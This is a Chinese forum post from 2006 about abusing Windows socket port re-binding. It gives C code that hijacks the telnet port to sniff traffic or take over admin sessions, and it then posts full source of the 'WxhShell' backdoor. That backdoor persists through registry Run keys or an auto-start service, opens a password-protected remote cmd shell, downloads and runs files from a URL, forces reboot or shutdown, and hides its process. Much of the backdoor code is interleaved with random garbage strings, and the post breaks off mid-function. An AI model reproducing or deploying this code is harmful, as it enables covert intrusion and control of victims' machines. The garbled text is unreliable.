[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; =IC cN|
if(chr[0]==0xd || chr[0]==0xa) { s ~Xa=_+D
pwd=0; O% }EpIP_
break; >anq1Kf
} "IE*MmsEz
i++; 4 >2g&);B
} $?FA7=_
uNoP8U%*
// 如果是非法用户，关闭 socket ~bsL W:.'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /'<Qk'
} m_;<7W&p]
-z6{!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I4RUXi 5
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ee0}Xv
{S*:pG:+q
while(1) { 3l?-H|T
FcI ZG _
ZeroMemory(cmd,KEY_BUFF); Of?3|I3 l
Uk0Fo(HY
// 自动支持客户端 telnet标准 %<?U`o@*
j=0; ?K>=>bS^h
while(j<KEY_BUFF) { E!SxO~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 23_\UTM}1
cmd[j]=chr[0]; 9&VfbrBM
if(chr[0]==0xa || chr[0]==0xd) { 2nsW)bd
cmd[j]=0; 7!r)[2l
break; Ph Ep3o&"
} HgfeSH
j++; Fmo^ ?~b
} zhW.0:9 CR
n+qa/<
// 下载文件 Sn~h[s_(
if(strstr(cmd,"http://")) { g]a5%8*{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); yD\[`!sWk
if(DownloadFile(cmd,wsh)) 3g''j7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?VaAVxd29
else XeRbn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ![}q9aeT
} }+3v5Nz;
else { U|!L{+F
,{rm<M.)
switch(cmd[0]) { pjaDtNb
530Z>q
// 帮助 LkA_M'G
case '?': { 5L%\rH&N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _A5.
break; hnD=DLW $
} {L9WeosQ
// 安装 8/oO}SLF
case 'i': { v$_YZm{!<
if(Install()) B+Ox#[<75
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~o?(O1QY
else @Fs2J_v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AQR/nWwx
break; +PfXc?VU
} hantGw|
// 卸载 J=@D]I*3
case 'r': { H1^m>4ll9
if(Uninstall()) B!X;T9^d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "T+oXK\B
else y^xEZD1X6-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L%sskV(
break; 6r3.%V.&
} Jg:%|g
// 显示 wxhshell 所在路径 ^w1&A3=6
case 'p': { pZUXXX
char svExeFile[MAX_PATH]; ugT;NB
strcpy(svExeFile,"\n\r"); $-Wn|w+h<a
strcat(svExeFile,ExeFile); {@tqeu%IM
send(wsh,svExeFile,strlen(svExeFile),0); -Nn@c|fz
break; qS.TVNZ
} /yhGc}h
// 重启 Y(D&JKx
case 'b': { vC1D}=Fp
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FWu[{X;
if(Boot(REBOOT)) nz%{hMNYH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7%x 3o#&
else { 3LK]VuZE
closesocket(wsh); W7 iml|WV0
ExitThread(0); &R7N^*He
} VP\'p1a
break; |yT-N3H@
} njoU0f1`
// 关机 dH8^\s .F
case 'd': { J/ !Mt
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yCt,-mz!z
if(Boot(SHUTDOWN)) iT;~0XU7F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~lSdWUk>
else { NrTK+6 z
closesocket(wsh); >^\}"dEvr
ExitThread(0); Z6Kw'3
} bm Hl\?
break; f:)%+)U<Xm
} LEJ8 .z6$
// 获取shell P*M$^p
case 's': { D6MktE)'
CmdShell(wsh); N4z(2.
closesocket(wsh); 3$E\B=7/U
ExitThread(0); ,cg%t9
break; IW1+^F9NEw
} |` +G7?)Y
// 退出 a*fUMhIi
case 'x': { I,pI2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 68pB*(i
CloseIt(wsh); k- ?:0
break; k;AV'r
} R"0fZENTG
// 离开 q_sQC5:s
case 'q': { :gvw5h%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :mpR}.^hv
closesocket(wsh); 2d`:lk%\
WSACleanup(); fCq
exit(1); 6N^sUc0s
break; 9w%|Nk>=>
} ~sd+ch*
} e=]>TeqG0
} 5,pKv
w,'"2^Cwy
// 提示信息 %kcyE<c
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2L'vB1`
} _B5t)7I
} ##6_kcL:6G
7Z(F-B +j
return; :4ndU:.L
} YRkp(}*!\
]T3dZ`-(
// shell模块句柄 N<xf=a+j
int CmdShell(SOCKET sock) |Bv?! sjf
{ T%%+v#+
STARTUPINFO si; $9}z^sGIM
ZeroMemory(&si,sizeof(si)); t5%\`Yo?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gZ5E%']sT
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s[V$fvW
PROCESS_INFORMATION ProcessInfo; k{fCU%
char cmdline[]="cmd"; Al^n&Aa+\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H$:Z`CQt<
return 0; @$5GxIw<l
} f PoC yl
/\%K7\
// 自身启动模式 YU89m7cc'
int StartFromService(void) 1_Um6vS#
{ sckyG
typedef struct %!r>]M <
{ &S}i)Nu6J
DWORD ExitStatus; "t<${
DWORD PebBaseAddress; cxTP4\T\E
DWORD AffinityMask; {gE19J3
DWORD BasePriority; uzO%+B!
ULONG UniqueProcessId; apxZ}
ULONG InheritedFromUniqueProcessId; {emO&#=@CP
} PROCESS_BASIC_INFORMATION; KzRw)P
1cE3uA7
PROCNTQSIP NtQueryInformationProcess; dbTPY`
KzeTf?G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v;S7i>\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (k9{&mPJ
sXzxEhp
HANDLE hProcess; %]JSDb=C
PROCESS_BASIC_INFORMATION pbi; vUGEzCM
*P_ 3A:_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VGoD2,(b^
if(NULL == hInst ) return 0; *rO#UE2
PaF`dnJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AZ)H/#be
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4@PH5z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :CO>g=`
6(4FC?Y7
if (!NtQueryInformationProcess) return 0; 5;+OpB
^Bw2y&nN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8\m_.e
if(!hProcess) return 0; ?Kw~O"L8
[HB>\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ql5NSQ>{
i]8HzKuiW
CloseHandle(hProcess); *<n]"-
`;-K/)/x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * B!uYP
if(hProcess==NULL) return 0; A-\OB Nh
fu3/n@L
HMODULE hMod; gF;i3OJg
char procName[255]; B1>aR 7dsf
unsigned long cbNeeded; [z$th
q]3bGO;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !T/^zc;G
+]-~UsM
CloseHandle(hProcess); Hc1S:RW
'Z#8]YP`
if(strstr(procName,"services")) return 1; // 以服务启动 VfOm#Ue0q
gT$`a
return 0; // 注册表启动 ;^nN!KDjR
} ,$ L>
p`lv$ @q'
// 主模块 bcFG$},k
int StartWxhshell(LPSTR lpCmdLine) LYb@0O<w
{ [+EmV>Y
SOCKET wsl; H'E(gc)>)
BOOL val=TRUE; Zq7Y('=`t@
int port=0; e E:J
struct sockaddr_in door; 'E FP/(2J
z97RNT|Y7U
if(wscfg.ws_autoins) Install(); 4lMf'V7*l
{%W'Zx
port=atoi(lpCmdLine); cKt=_4Lf
yO\.dp
if(port<=0) port=wscfg.ws_port; yClX!OL
yf7p,_E/
WSADATA data; hKo& ZWPq
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w1tWyKq
C sXV0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /dGpac
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s6=jHrdvv
door.sin_family = AF_INET; ;7,>2VTm
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &c[.&L,w4
door.sin_port = htons(port); ndW]S7
/j%(Z/RM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WBc,/lgZ
closesocket(wsl); (%p@G5GU
return 1; >#pZ`oPEAv
} '0ks`a4q
E~]37!,\\9
if(listen(wsl,2) == INVALID_SOCKET) { -d'swx2aZ!
closesocket(wsl); /:S&1'=
return 1; ylTX
} Xg<R+o
Wxhshell(wsl); dMw7UJ
WSACleanup(); 8&q[jxI@8
UO~Xzx!e
return 0; _|^cudRv
*3R3C+ L
} G!<-9HA5
~7;AV(\%e
// 以NT服务方式启动 >U7{EfUJdx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \bXusLI!l
{ ,SV34+(
DWORD status = 0; MP6Py@J45
DWORD specificError = 0xfffffff; j3t,Cx
;ElwF&"!X
serviceStatus.dwServiceType = SERVICE_WIN32; W ])Lc3X
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z%4w{T+[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )&px[Dbx
serviceStatus.dwWin32ExitCode = 0; /:GeXDJw
serviceStatus.dwServiceSpecificExitCode = 0; v$d^>+Y#
serviceStatus.dwCheckPoint = 0; -hU1wX%U
serviceStatus.dwWaitHint = 0; bdYx81
'_fj:dy
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g3*J3I-O
if (hServiceStatusHandle==0) return; Ha41Wn'tZ
crlCN
status = GetLastError(); Vjqs\
if (status!=NO_ERROR) )YY8`\F>1
{ t2Y2v2 J
serviceStatus.dwCurrentState = SERVICE_STOPPED; kE[Hq-J=N
serviceStatus.dwCheckPoint = 0; c`s ]ciC
serviceStatus.dwWaitHint = 0; Mh@RO|F
serviceStatus.dwWin32ExitCode = status; Y+Cqc.JBQ
serviceStatus.dwServiceSpecificExitCode = specificError; J`'wprSBb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); shuoEeoo
return; S]g`Ds<
} La8D%N
9R3YUW}s
serviceStatus.dwCurrentState = SERVICE_RUNNING; XJ6=Hg4_O
serviceStatus.dwCheckPoint = 0; C+vk9:"
serviceStatus.dwWaitHint = 0; uGY(`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CT[CM+
} \qw1\-q
+L-(Lz[p
// 处理NT服务事件，比如：启动、停止 $^5c8wT
VOID WINAPI NTServiceHandler(DWORD fdwControl) V*%Lc9<d
{ 9/dI 6P7
switch(fdwControl) n0vhc;d
{ Jk_}y
case SERVICE_CONTROL_STOP: +?ilTU
serviceStatus.dwWin32ExitCode = 0; J{r3y&:
serviceStatus.dwCurrentState = SERVICE_STOPPED; c3!YA"5
serviceStatus.dwCheckPoint = 0; 2yPF'Q7u_.
serviceStatus.dwWaitHint = 0; AI9#\$aGV
{ !BEl6h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lem:zXj
} 7"p%c`*;
return; Ak+MREG
case SERVICE_CONTROL_PAUSE: }HxC~J"
serviceStatus.dwCurrentState = SERVICE_PAUSED; N(Xg#m
break; VL/KC-6
case SERVICE_CONTROL_CONTINUE: n|) JhXQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; >L,Pw1Y0W[
break; r(p@{L185
case SERVICE_CONTROL_INTERROGATE: Qkx}A7sK
break; DNGj81'c
}; ITf4PxF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W7?f_E\>W
} df7xpV
/(?,S{]
// 标准应用程序主函数 rk< 3QXv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \ 3FOI
{ OJXK]dZ
~zyD=jxP9
// 获取操作系统版本 ebIRXUF}>
OsIsNt=GetOsVer(); <iNxtD0
GetModuleFileName(NULL,ExeFile,MAX_PATH); x|U[|i,;
lvk r2Meu<
// 从命令行安装 f<Xi/(
if(strpbrk(lpCmdLine,"iI")) Install(); ?f4jqF~Fh
1LonYAHF
// 下载执行文件 <XH,kI(%
if(wscfg.ws_downexe) { eWU@@$9
